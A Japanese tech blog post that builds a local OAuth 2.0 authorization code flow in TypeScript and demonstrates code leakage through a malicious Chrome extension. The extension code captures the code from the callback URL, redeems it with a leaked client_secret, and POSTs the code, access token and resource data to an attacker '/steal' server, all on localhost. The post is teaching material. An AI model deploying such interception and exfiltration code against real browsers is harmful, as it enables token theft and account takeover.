👽

【作って理解する】OAuth2.0の認可コードグラントでコードが漏洩する仕組み(ついでに攻撃もしてみる)

に公開

こんにちは、koyablueです。
ずっと積読していたOAuthの本を最近読んだのですが、「リダイレクトURIにリダイレクトされる時に認可コードの漏洩リスクがある」ということが書かれていました。どのような仕組みで漏洩するのか、漏洩すると何がまずいのか、漏洩した場合に不正なリソースアクセスが可能になるのか...などに興味が湧いたので、実際に手を動かして理解を深めてみることにしました。

今回は簡易的な認可コードグラントのフローを実装し、どのように認可コードが漏洩するのかをローカル環境で確認します。
また、認可コードに加えてclient_secretが外部に露出してしまったら...という想定で不正なリソースアクセスも試してみます。

認可コードグラントの流れ

認可コードグラントの流れは以下の通りです。今回の簡易実装では認証情報の入力部分は省略して、いきなり権限移譲の同意画面を表示するようにします。

今回の設定

認可コードが漏洩するのは上の図の9: 認可コードレスポンスの部分です。
このとき悪意のあるブラウザ拡張機能によって認可コードが抜き取られる想定です。

実装

認可サーバー、クライアント、リソースサーバー、攻撃者の四つの役割をそれぞれ実装します。
色々省略してTypeScriptとExpressで簡単に実装します。(仕組みの理解を深めることが目的なので、実装の雑さには目をつぶっていただけると🙏)

認可サーバー

権限移譲の同意確認、認可コード発行、アクセストークン発行、トークン検証を行います。

  • GET /authorize
    • 権限移譲の同意画面を表示する
  • POST /approve
    • 権限移譲に同意するボタンを押した後に呼ばれる
    • redirect_uri?code=...&state=... にリダイレクトする。
  • POST /token
    • アクセストークン発行
  • POST /introspect
    • リソースサーバーが受け取った access_token の有効性を確認する
import express from "express";
import bodyParser from "body-parser";
import crypto from "crypto";

const app = express();
app.use(bodyParser.urlencoded({ extended: true }));
app.use(bodyParser.json());

// 簡易DB
type Client = {
  client_id: string;
  client_secret?: string;
  redirect_uri_registered: string;
};
const clients: Client[] = [
  {
    client_id: "dummy-client",
    client_secret: "dummy-secret",
    redirect_uri_registered: "http://localhost:9001/callback",
  },
];

const params: Record<
  string,
  { client_id: string; redirect_uri: string; used?: boolean }
> = {};
const tokens: Record<string, { access_token: string; client_id: string }> = {};

// 同意画面を表示する
app.get("/authorize", (req, res) => {
  const { response_type, client_id, redirect_uri, state } = req.query;

  const client = clients.find((c) => c.client_id === client_id);
  if (!client || redirect_uri !== client.redirect_uri_registered) {
    res.status(400).send("invalid_client_or_redirect_uri");
    return;
  }

  res.send(`
    <h2>Authorize</h2>
    <p>Client <strong>${client_id}</strong> がリクエストを要求しています。許可しますか?</p>
    <form method="POST" action="/approve">
      <input type="hidden" name="response_type" value="${response_type}" />
      <input type="hidden" name="client_id" value="${client_id}" />
      <input type="hidden" name="redirect_uri" value="${redirect_uri}" />
      <input type="hidden" name="state" value="${state || ""}" />
      <button name="decision" value="allow" type="submit">はい</button>
      <button name="decision" value="deny" type="submit">いいえ</button>
    </form>
  `);
});

// 同意後にリダイレクト
app.post("/approve", (req, res) => {
  const { client_id, redirect_uri, state, decision } = req.body;

  if (decision !== "allow") {
    const redirect = new URL(redirect_uri);
    redirect.searchParams.set("error", "access_denied");
    if (state) redirect.searchParams.set("state", state);
    res.redirect(redirect.toString());
    return;
  }

  const code = crypto.randomBytes(8).toString("hex");
  params[code] = { client_id, redirect_uri };

  const redirect = new URL(redirect_uri);
  redirect.searchParams.set("code", code);
  if (state) redirect.searchParams.set("state", state);
  res.redirect(redirect.toString());
});

// 認可コードをアクセストークンに交換
app.post("/token", (req, res) => {
  const { grant_type, code, client_id, client_secret, redirect_uri } = req.body;

  const grantInfo = params[code];
  console.log(grantInfo);
  if (!grantInfo || grantInfo.client_id !== client_id || grantInfo.used) {
    res.status(400).json({ error: "invalid_code" });
    return;
  }

  const client = clients.find((c) => c.client_id === client_id);
  if (!client || client.client_secret !== client_secret) {
    res.status(400).json({ error: "invalid_client_credentials" });
    return;
  }

  // redirect_uriの検証
  if (redirect_uri !== grantInfo.redirect_uri) {
    res.status(400).json({ error: "invalid_redirect_uri" });
    return;
  }

  grantInfo.used = true;
  const access_token = crypto.randomBytes(16).toString("hex");
  tokens[access_token] = { access_token, client_id };
  res.json({ access_token, token_type: "bearer" });
});

// トークン検証
app.post("/introspect", (req, res) => {
  const { token } = req.body;
  const tokenInfo = tokens[token];
  if (!tokenInfo) return res.json({ active: false });
  res.json({ active: true, client_id: tokenInfo.client_id });
});

app.listen(9000, () =>
  console.log("Auth server listening on http://localhost:9000")
);

クライアント

ユーザーのリソースを利用したい何らかのサービスにあたります。受け取った認可コードでアクセストークンを取得し、以降リソースを利用します。

  • GET /
    • ユーザーがOAuthを開始するためのページ
  • GET /login
    • 認可リクエスト + リダイレクト
  • GET /callback
    • 認可サーバからコードを受け取り、token 交換→リソース取得まで行う

※今回の簡易実装では許可するstateをconst pendingStates = new Set<string>();のように保持していますが、CSRFを防ぐため本来はcookieなどを使ってセッションに紐づけて保存しておく必要があります。

import express from "express";
import crypto from "crypto";
const app = express();

// 許可中のstateをメモリで保持する
const pendingStates = new Set<string>();

app.get("/", (_, res) => {
  res.send(`
    <h2>Client</h2>
    <a href="/login">OAuth開始</a>
  `);
});

app.get("/login", (_, res) => {
  const client_id = "dummy-client";
  const redirect_uri = "http://localhost:9001/callback";
  const state = crypto.randomBytes(6).toString("hex");
  pendingStates.add(state);
  const url = new URL("http://localhost:9000/authorize");

  url.searchParams.set("response_type", "code");
  url.searchParams.set("client_id", client_id);
  url.searchParams.set("redirect_uri", redirect_uri);
  url.searchParams.set("state", state);

  res.redirect(url.toString());
});

app.get("/callback", async (req, res) => {
  const code = req.query.code;
  const state = req.query.state as string;

  if (!state || !pendingStates.has(state)) {
    return res.status(400).send("Invalid or missing state");
  }
  pendingStates.delete(state);

  const tokenResponse = await fetch("http://localhost:9000/token", {
    method: "POST",
    headers: { "content-type": "application/json" },
    body: JSON.stringify({
      grant_type: "authorization_code",
      code,
      client_id: "dummy-client",
      client_secret: "dummy-secret",
      redirect_uri: "http://localhost:9001/callback",
    }),
  })
    .then((r) => r.json())
    .catch((e) => {
      console.error("Token exchange error:", e);
      return null;
    });

  const resourceResponse = await fetch("http://localhost:9002/resource", {
    headers: { Authorization: `Bearer ${tokenResponse.access_token}` },
  })
    .then((r) => r.json())
    .catch((e) => {
      console.error("Resource fetch error:", e);
      return null;
    });

  res.send(`
    <h3>Client callback</h3>
    <p>Resource response: ${resourceResponse.data}</p>
  `);
});

app.listen(9001, () =>
  console.log("Client listening on http://localhost:9001")
);

リソースサーバー

トークンの有効性を確認してユーザーのリソース(例えばプロフィールなど)を返す役割ですが、今回は適当なメッセージを返す/resourceエンドポイントのみ実装します。

import express from "express";

const app = express();

app.get("/resource", async (req, res) => {
  const auth = req.headers["authorization"];

  if (!auth || !auth.startsWith("Bearer ")) {
    console.log("[resource] missing or invalid Authorization header");
    return res.status(401).send("no token");
  }

  const token = auth.slice("Bearer ".length);

  try {
    const introspectResponse = await fetch("http://localhost:9000/introspect", {
      method: "POST",
      headers: { "Content-Type": "application/json" },
      body: JSON.stringify({ token }),
    })
      .then((r) => r.json())
      .catch((err) => {
        console.error("[resource] introspect fetch error:", err);
        throw err;
      });

    if (!introspectResponse || !introspectResponse.active) {
      return res.status(401).send("invalid token");
    }

    return res.json({
      data: "リソースのデータ",
      client_id: introspectResponse.client_id,
    });
  } catch (err) {
    console.error("[resource] introspect fetch error:", err);
    return res.status(500).send("introspect error");
  }
});

app.listen(9002, () =>
  console.log("Resource server listening on http://localhost:9002")
);

攻撃者

悪意のあるブラウザ拡張機能で認可コードを横取りし、サーバーで受け取ります。

ブラウザ拡張

URLからcodeの値を取得して攻撃者の/stealエンドポイントに送信します。ローカル環境で動作させる時は、Chromeの拡張機能のページでデベロッパーモードをonにし、ローカルにあるファイルを読み込みます。
以下のJSの他にmanifest.jsonとrulesの設定が必要ですがここでは割愛します

chrome.runtime.onInstalled.addListener(() => {
  console.log("Local Request Interceptor installed");
});

try {
  if (chrome.declarativeNetRequest?.onRuleMatchedDebug) {
    chrome.declarativeNetRequest.onRuleMatchedDebug.addListener(
      async (info) => {
        try {
          const url = new URL(info.request.url);
          if (url.pathname === "/callback") {
            const code = url.searchParams.get("code");

            // 認可コードを攻撃者サーバーに送信する
            const response = await fetch("http://localhost:9003/steal", {
              method: "POST",
              headers: { "Content-Type": "application/json" },
              body: JSON.stringify({
                code,
              }),
            });
            console.log(response.status);
          }
        } catch (err) {
          console.error("Failed to POST to localhost:9003/steal", err);
        }
      }
    );
  } else {
    console.warn(
      "onRuleMatchedDebug is not available (missing feedback permission?)"
    );
  }
} catch (err) {
  console.error("Error registering listener:", err);
}

ブラウザ拡張からのリクエストを受け取るサーバー

import express from "express";
import bodyParser from "body-parser";
import cors from "cors";
const app = express();
app.use(cors());
app.use(bodyParser.json());

// ブラウザ拡張機能からのリクエストを受け付ける
app.post("/steal", (req, _) => {
  console.log(req.body);
});

app.listen(9003, () =>
  console.log("Attacker listening on http://localhost:9003")
);

認可コードが漏洩する挙動を確認してみる

では動かしてみます。ブラウザ拡張機能からリクエストが送信され、attacker/server.tsのログに認可コードが表示されれば成功です。

開始するボタンをクリック→同意ボタンをクリック→codeのクエリパラメーターが付いたURLにリダイレクトしてくる(このときcodeが漏れる)→取得したリソースの画面表示
という順に操作します。

パラメーターのcodeとコンソールに表示されているcodeが同じ値で、ちゃんと漏れていますね。

攻撃してみる

認可コードが漏洩した場合に発生するインシデントは様々あると思いますが、今回は一例として「何かのミスでclient_secretが外部に露出してしまった」というケースを想定して不正なリソース取得を試してみます。
漏洩したclient_secretを悪意のあるブラウザ拡張が使用できる状態だった場合、認可コードの横取りで攻撃が成立してしまいます。
例えば拡張機能のJSを以下のように書き換えてみます。
クライアントのリクエストをブロックし、横取りしたコードと漏洩したclient_secretを使用して不正にリソースにアクセスします。

横取りしたコードと漏洩したclient_secretを使用してトークンリクエストとリソース取得まで行う拡張機能

認可コードは一度使用されると通常は無効になります。クライアントが拡張機能よりも先に認可コードを使用してしまわないよう、拡張機能側で先回りしてリクエストをブロックするよう実装します。
今回もmanifest.jsonとruleは割愛します。

chrome.runtime.onInstalled.addListener(() => {
  console.log("Local Request Interceptor installed");
});

try {
  if (chrome.declarativeNetRequest?.onRuleMatchedDebug) {
    chrome.declarativeNetRequest.onRuleMatchedDebug.addListener(
      async (info) => {
        try {
          const url = new URL(info.request.url);
          if (url.pathname === "/callback") {
            const code = url.searchParams.get("code");

            const tokenResponse = await fetch("http://localhost:9000/token", {
              method: "POST",
              headers: { "content-type": "application/json" },
              body: JSON.stringify({
                grant_type: "authorization_code",
                code,
                client_id: "dummy-client",
                client_secret: "dummy-secret",
                redirect_uri: `${url.origin}${url.pathname}`,
              }),
            })
              .then((r) => r.json())
              .catch((e) => {
                console.error("Token exchange error:", e);
                return null;
              });

            const resourceResponse = await fetch(
              "http://localhost:9002/resource",
              {
                headers: {
                  Authorization: `Bearer ${tokenResponse.access_token}`,
                },
              }
            )
              .then((r) => r.json())
              .catch((e) => {
                console.error("Resource fetch error:", e);
                return null;
              });

            const response = await fetch("http://localhost:9003/steal", {
              method: "POST",
              headers: { "Content-Type": "application/json" },
              body: JSON.stringify({
                code,
                tokenResponse,
                resourceResponse,
                timestamp: new Date().toISOString(),
              }),
            });
            console.log(response.status);
          }
        } catch (err) {
          console.error("Failed to POST to localhost:9003", err);
        }
      }
    );
  } else {
    console.warn(
      "onRuleMatchedDebug is not available (missing feedback permission?)"
    );
  }
} catch (err) {
  console.error("Error registering listener:", err);
}

では動かしてみます。

不正にリソースにアクセスされ、リソース情報がattackerのコンソールに表示されてしまいました。

おわりに

OAuthの認可コードフローで認可コードが漏れる仕組みを、実際に実装しながら確認してみました。
この記事を書くに当たっていくつかの攻撃パターンを試してみましたが、redirect_uriやstate、tokenの検証、client_secretの存在のせいで上手くいかず、何度も「OAuthよくできてるなー」と思わされました。
シーケンス図を眺めているだけではしっくりこなかった部分も、自分で作って自分で攻撃してみることで腑に落ちたと思います。

参考文献

Social PLUS Tech Blog

Discussion